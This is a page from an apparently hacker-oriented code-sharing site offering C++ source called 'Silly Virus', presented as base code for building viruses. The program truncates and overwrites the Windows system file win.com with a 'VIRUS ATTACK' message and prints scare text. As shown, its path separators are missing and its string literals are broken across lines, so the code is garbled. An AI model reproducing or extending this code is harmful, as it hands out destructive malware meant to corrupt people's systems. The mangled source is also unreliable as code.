[ Log In | Register ]       
» Resource Database Index -> Source Code -> Silly Virus
Description // Info

This is a fairly old silly base code for a virus. I used this for some of my more advanced virus's but this is basically...the base, lol. Its tarts off as just a popup that really never goes away, but you can turn it into just about anything you want. Enj
Source Code

  1. #include<iostream.h>
  2. #include<conio.h>
  3. #include <stdio.h>
  4. #include <stdlib.h>
  5. #include <fcntl.h>
  6. #include <sysstat.h>
  7. #include <io.h>
  8. #include <string.h>
  9.  
  10. int main(void)
  11. {
  12.    clrscr();
  13.    int handle;
  14.    char string[1000];
  15.    int length, res,i;
  16.  
  17.  
  18.    if ((handle = open("C:windowswin.com", O_WRONLY | O_CREAT |
  19. O_TRUNC,
  20.           S_IREAD | S_IWRITE)) == -1)
  21.    {
  22.       printf("Error opening file.
  23. ");
  24.       exit(1);
  25.    }
  26.  
  27.    strcpy(string, "<html>Hello !!!!!!! This is a VIRUS ATTACK !!! This
  28. execution currupt your WINDOWS !!!!!!</html>
  29. ");
  30.  
  31.    length = strlen(string);
  32.  
  33.    if ((res = write(handle, string, length)) != length)
  34.    {
  35.       printf("Error writing to the file.
  36. ");
  37.       getch();
  38.       exit(1);
  39.    }
  40.    printf("
  41.  
  42.         Wrote %d bytes to the file.
  43. ", res);
  44.   cout<<"
  45.  
  46.         Hello !!!!!!!!";
  47.   cout<<"
  48.  
  49.          This is a VIRUS ATTACK !!!";
  50.   cout<<"
  51.  
  52.          This execution currupt your WINDOWS !!!!!!
  53. ";
  54.    close(handle);
  55.    getch();
  56.    return 0;
  57. }


Comments

Add Comment
Please login to leave a comment!


 Network Access...
USER ID
PASSWORD

 Share Exploit
Share






 Code Information
Code Name:
Silly Virus

Author:
Author Name:

Author's Website:

Author's Email:


Code Details:
Code Version: 1
Code Submission Date:
Code Submission Time 09:50:28
Submitted By: agri
Language: cpp

Code Ranking: 0 (you must be logged in to rank and vote on source code!)

Tags:


[ Download | Report Issue ]

 Code Search




 

LOL LEGAL STUFF #
By continuing past this page, and by your continued use of this site, you agree to be bound by and abide by the User Agreement.

© 2008-2011 r00tsecurity network. All rights reserved.
About Us | Contact Us | Support Us | Legal | Advertise | Privacy Policy

r00tsecurity's network is powered and running off MeowPower Enterprise Software and is professionally monitored and managed by the Kittens In Suits™.

COMMONLY ACCESSED #
INSPIRE ME #
" Let us not become weary in doing good, for at the proper time we will reap a harvest if we do not give up. "
~ Galatians 6:9